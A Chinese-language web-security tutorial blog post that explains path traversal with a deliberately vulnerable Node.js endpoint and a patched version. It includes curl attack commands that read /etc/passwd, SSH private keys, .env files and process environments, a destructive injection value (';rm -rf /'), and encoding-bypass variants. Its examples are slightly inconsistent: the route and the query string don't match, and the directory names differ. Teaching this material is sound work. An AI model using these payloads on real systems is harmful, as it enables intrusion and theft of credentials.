iT邦幫忙

2024 iThome 鐵人賽

DAY 23
0
Security

資安這條路:系統化學習網站安全與網站滲透測試系列 第 23

資安這條路:Day 23 利用 Node.js 了解目錄穿越攻擊(Directory Traversal/Path Traversal )

  • 分享至 

  • xImage
  •  

Path Traversal 簡介

這是什麼

Path Traversal 是一種透過控制檔案變數來存取儲存在 Web 根目錄之外的檔案和目錄的攻擊。

攻擊者透過使用 "../" 及其變體,或使用絕對檔案路徑,
可能存取檔案系統上的任意檔案和目錄,包括應用程式原始碼、設定檔案和重要的系統檔案。

這種攻擊也被稱為 "dot-dot-slash"、"directory traversal"、"directory climbing" 和 "backtracking"、目錄穿越、目錄遍歷、路徑穿越。

為什麼會有這個問題

Path Traversal 問題的出現主要有以下幾個原因:

  1. 輸入驗證不足:應用程式未對使用者輸入進行充分的清理和驗證。
  2. 權限控制不當:未正確限制使用者對檔案系統的存取權限。
  3. 不安全的程式設計:直接將使用者輸入拼接到檔案路徑中。
  4. 設定錯誤:伺服器或應用程式設定不當,允許存取敏感目錄。
  5. 對底層作業系統處理檔案名的方式理解不足。

需要搭配什麼弱點

Path Traversal 本身就是一個嚴重的安全弱點,但它通常與其他漏洞或設定問題結合使用,以產生更大的影響:

  1. 資訊洩漏:Path Traversal 常導致敏感資訊的洩漏,如設定檔案、密碼檔案等。
  2. 檔案包含漏洞:在某些情況下,Path Traversal 可能與檔案包含漏洞結合,允許執行惡意程式碼。
  3. 權限提升:結合其他漏洞,攻擊者可能利用 Path Traversal 來讀取或寫入關鍵系統檔案,進而提升權限。
  4. 遠端程式碼執行:在極端情況下,如果攻擊者能夠將惡意程式碼寫入可執行目錄,可能導致遠端程式碼執行。
  5. 跨站腳本(XSS):如果 Path Traversal 允許存取和修改 Web 應用的源檔案,可能導儲存型 XSS 攻擊。
  6. 伺服器端請求偽造(SSRF):Path Traversal 可能被用來存取內部網絡資源,從而促成 SSRF 攻擊。

簡短弱點範例

  1. 資訊洩漏(node.js)
app.get('/config', (req, res) => {
    const file = req.query.file;
    res.sendFile(`/app/config/${file}`);
});
// 攻擊: /config?file=../../etc/passwd
  1. 檔案包含漏洞(php)
<?php
include($_GET['page'] . ".php");
?>
<!-- 攻擊: ?page=../../malicious_file -->
  1. 權限提升(node.js)
app.post('/upload', (req, res) => {
    const {filename, content} = req.body;
    fs.writeFileSync(`/uploads/${filename}`, content);
});
// 攻擊: filename = "../.ssh/authorized_keys"
  1. 遠端程式碼執行(python)
import os
filename = request.args.get('file')
os.system(f"cat {filename}")
# 攻擊: ?file=;rm -rf /
  1. 跨站腳本(XSS)(node.js)
app.get('/template', (req, res) => {
    const template = req.query.name;
    res.sendFile(`/templates/${template}`);
});
// 攻擊: /template?name=../../malicious.html
  1. 伺服器端請求偽造(SSRF)(ruby)
require 'open-uri'
url = params[:url]
content = open(url).read
# 攻擊: ?url=file:///etc/passwd

這些例子展示了 Path Traversal 如何與其他漏洞結合,導致更嚴重的安全問題。
在實際應用中,應該謹慎處理所有使用者輸入,特別是涉及檔案操作時。

實作程式碼

本次實作

https://github.com/fei3363/ithelp_web_security_2024/commit/443688f78caa43bab779d844dd498ecefe817ac0

步驟:建立 Controller

controllers/pathTraversalController.js 中輸入以下程式碼

const fs = require('fs');

const pathTraversalHandler = {
    async readFile(req, res) {
        const { filename } = req.params;
        try {
            const content = fs.readFileSync(`./files/${filename}`, 'utf8');
            res.send(content);
        } catch (error) {
            res.status(404).json({ error: error.message });
        }
    }
};

module.exports = pathTraversalHandler;

步驟:建立 Router

routers/pathTraversalRouter.js 中輸入以下程式碼:

const express = require('express');
const pathTraversalController = require('../controllers/pathTraversalController');

const pathTraversalRouter = express.Router();

pathTraversalRouter.get('/:filename', pathTraversalController.readFile);

module.exports = pathTraversalRouter;

步驟: 更新 server.js

server.js 中輸入以下程式碼:

const express = require('express');
const pathTraversalRouter = require('./routers/pathTraversalRouter');

const app = express();
const PORT = 3000;

app.use('/api/pathTraversal', pathTraversalRouter);

解釋安全問題

  1. 路徑遍歷漏洞

    const content = fs.readFileSync(`./files/${filename}`, 'utf8');
    

    這行程式碼直接將使用者輸入(filename)拼接到檔案路徑中,沒有任何驗證或清理。
    攻擊者可以使用 ../ 來存取 ./files/ 目錄之外的檔案。

  2. 同步檔案讀取

    fs.readFileSync(...)
    

    使用同步方法可能導致效能問題,特別是在高併發環境下

  3. 錯誤處理不當

    catch (error) {
        res.status(404).json({ error: error.message });
    }
    

    直接回傳錯誤消息可能洩漏敏感資訊。不是所有錯誤都應該回傳 404 狀態碼。

  4. 缺乏輸入驗證
    沒有對 filename 參數進行任何驗證,如檢查檔案副檔名或使用白名單。

  5. 缺乏權限檢查
    沒有檢查使用者是否有權限存取請求的檔案

  6. 不安全的檔案讀取
    直接讀取檔案內容並發送,沒有考慮檔案大小或類型

  7. 缺乏日誌記錄
    沒有記錄存取操作,使得後續的審計和問題診斷變得困難

  8. 缺乏內容類型設置
    未設置正確的 Content-Type 標頭,可能導致瀏覽器錯誤解釋檔案內容

改進建議

  1. 使用 path.resolve()path.join() 來安全地建立檔案路徑,並確保最終路徑在允許的目錄內
  2. 使用異步檔案操作方法,如 fs.promises.readFile()
  3. 實現更細緻的錯誤處理,避免洩漏敏感資訊
  4. filename 參數進行嚴格的驗證,如使用白名單或正則表達式
  5. 實現使用者認證和授權檢查
  6. 限制可讀取的檔案大小,並根據檔案類型設置適當的 Content-Type
  7. 新增日誌記錄功能
  8. 使用安全標頭,如 Content-Security-Policy

改進後的程式碼

參考程式碼,實際仍需要根據需求修改。

const fs = require('fs').promises;
const path = require('path');

const pathTraversalHandler = {
    async readFile(req, res) {
        const { filename } = req.params;
        const safeFilename = path.basename(filename);
        const filePath = path.join(__dirname, 'files', safeFilename);

        try {
            if (!filePath.startsWith(path.join(__dirname, 'files'))) {
                throw new Error('Access denied');
            }

            const content = await fs.readFile(filePath, 'utf8');
            res.setHeader('Content-Type', 'text/plain');
            res.send(content);
        } catch (error) {
            console.error(`File access error: ${error.message}`);
            res.status(error.message === 'Access denied' ? 403 : 404)
               .json({ error: 'File not found or access denied' });
        }
    }
};

module.exports = pathTraversalHandler;

實作測試舉例

在這個部分,我們將使用 curl 指令來展示如何測試我們的網站,包括正常存取和嘗試各種 Path Traversal 攻擊。

使用 curl 存取正常網站

正常存取檔案

curl http://localhost:3000/api/pathTraversal?filename=test.txt
curl http://nodelab.feifei.tw/api/pathTraversal?filename=test.txt

預期輸出

This is a test file.

image

表示網站功能正常運作,可以成功讀取 upload 目錄中的檔案。

使用 curl 嘗試攻擊 (../../)

嘗試簡單的 Path Traversal 攻擊

curl http://localhost:3000/api/pathTraversal?filename=../../server.js
curl http://nodelab.feifei.tw/api/pathTraversal?filename=../../server.js

如果網站有弱點,可能會看到 server.js 的內容。
如果有錯誤處理,可能會看到類似這樣的錯誤資訊:

{"error":"ENOENT: no such file or directory, open './upload/../../server.js'"}

image

代表從 upload 資料夾找不到該檔案

過於詳細的錯誤訊息也是問題

這個錯誤資訊透露了伺服器的檔案結構,這本身就是一個資安問題。
攻擊者可以利用這些資訊來調整他們的攻擊策略。

使用 curl 讀取 /etc/passwd

嘗試讀取 Linux 作業系統中的敏感檔案

curl http://localhost:3000/api/pathTraversal?filename=../../../../etc/passwd
curl http://nodelab.feifei.tw/api/pathTraversal?filename=../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

如果成功,會看到 /etc/passwd 檔案的內容,這包含了系統使用者的資訊。

image

其他指令

讀取網站設定檔案

curl http://nodelab.feifei.tw/api/pathTraversal?filename=../config/config.js

尋找資料庫相關設定

存取日誌檔案

curl http://localhost:3000/api/pathTraversal?filename=../../../../var/log/apache2/access.log

這可能會暴露伺服器日誌,包含敏感的存取資訊。

讀取 SSH 私鑰**

curl http://localhost:3000/api/pathTraversal?filename=../../../../home/user/.ssh/id_rsa

這可能會暴露 SSH 私鑰,允許未授權的伺服器存取。

存取 .env 檔案

curl http://localhost:3000//api/pathTraversal?filename=/../.env

這可能會暴露環境變數,包括 API 密鑰和其他敏感資訊。

讀取資料庫檔案

curl http://localhost:3000//api/pathTraversal?filename=../../../../var/lib/mysql/some_database/users.ibd

這可能會直接存取資料庫儲存檔案。

存取臨時檔案

curl http://localhost:3000/api/pathTraversal?filename=../../../../tmp/sessions.json

這可能會暴露臨時儲存的會話數據或其他敏感資訊。

讀取 Node.js 執行緒

curl http://nodelab.feifei.tw/api/pathTraversal?filename=../../../../proc/self/environ --output -

image

這可能會暴露 Node.js 執行緒的環境變數。

瀏覽程式原始碼

image

curl http://localhost:3000/api/pathTraversal?filename=../controllers/userController.js

這可能會暴露網站的源程式碼,包括潛在的安全邏輯。

攻擊技術

請求變體

  1. 編碼和雙重編碼:

    • %2e%2e%2f 代表 ../
    • %2e%2e/ 代表 ../
    • ..%2f 代表 ../
    • %2e%2e%5c 代表 ..\
    • %2e%2e\ 代表 ..\
    • ..%5c 代表 ..\
    • %252e%252e%255c 代表 ..\
    • ..%255c 代表 ..\
  2. 百分比編碼(URL 編碼):

    • ..%c0%af 代表 ../
    • ..%c1%9c 代表 ..\
  3. 作業系統特定:

    • UNIX:
      • 根目錄: "/"
      • 目錄分隔符: "/"
    • Windows:
      • 根目錄: "<分區代號>:"
      • 目錄分隔符: "/" 或 ""
  4. Null 字節注入:

    • 在許多作業系統中,可以注入 null 字節 %00 來終止檔案名。

總結

導致目錄穿越攻擊的原因,包括輸入驗證不足、不安全的程式設計實務、權限管理不當等。
本次列舉了目錄穿越攻擊與其他漏洞結合後的嚴重影響,例如資訊洩漏、檔案包含漏洞、權限提升等。
以 Node.js 實作範例,展示了目錄穿越攻擊的過程,並提供解決方案和防範措施,
讓讀者可以更深入了解此漏洞的危險性和防範方法。

小試身手

  1. Path Traversal 漏洞也被稱為什麼?
    a) 跨站腳本(XSS)
    b) SQL 注入
    c) 目錄穿越
    d) 跨站請求偽造(CSRF)

答案:c) 目錄穿越
解析:Path Traversal 也被稱為目錄穿越,這是此類攻擊的常見別名。

  1. 以下哪一項 不是 造成 Path Traversal 漏洞的常見原因?
    a) 輸入驗證不足
    b) 不安全的程式設計實踐
    c) 使用 HTTPS 協定
    d) 對檔案系統操作的誤解

答案:c) 使用 HTTPS 協定
解析:HTTPS 是一種加密網站流量的協定,它本身並不能防止或導致 Path Traversal 攻擊。
其他選項都是可能導致 Path Traversal 漏洞的原因。

  1. Path Traversal 攻擊者通常使用什麼樣的字串來操縱檔案路徑?
    a) ";--"
    b) "../"
    c) "\\"
    d) ".."

答案:b) "../"
解析:攻擊者通常使用 "../" 來表示上一級目錄,從而操縱檔案路徑。

  1. 以下哪種方法可以有效地防範 Path Traversal 攻擊?
    a) 僅依賴使用者輸入的檔案名
    b) 對使用者輸入進行驗證和淨化
    c) 在錯誤訊息中顯示完整的檔案路徑
    d) 使用複雜的資料夾結構來混淆攻擊者

答案:b) 對使用者輸入進行驗證和淨化
解析:驗證和淨化使用者輸入是防範 Path Traversal 攻擊的有效方法。其他選項是不安全的做法或是無法有效防止攻擊。

  1. Node.js 的哪個函數可以幫助確保檔案路徑不會超出指定目錄?
    A) path.join()
    B) path.resolve()
    C) fs.realpath()
    D) path.normalize()

答案:C) fs.realpath()
解析:fs.realpath() 函數可以解析所有的符號連結並回傳絕對路徑,這有助於確保最終的檔案路徑不會超出指定目錄。雖然其他函數如 path.resolve() 也有類似功能,但 fs.realpath() 提供了額外的安全性,特別是在處理符號連結時。


上一篇
資安這條路 Day 22: Cache Pollution 與 HTTP Parameter Pollution (HPP)
下一篇
資安這條路:Day 24 WebSocket 與商業邏輯漏洞
系列文
資安這條路:系統化學習網站安全與網站滲透測試30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言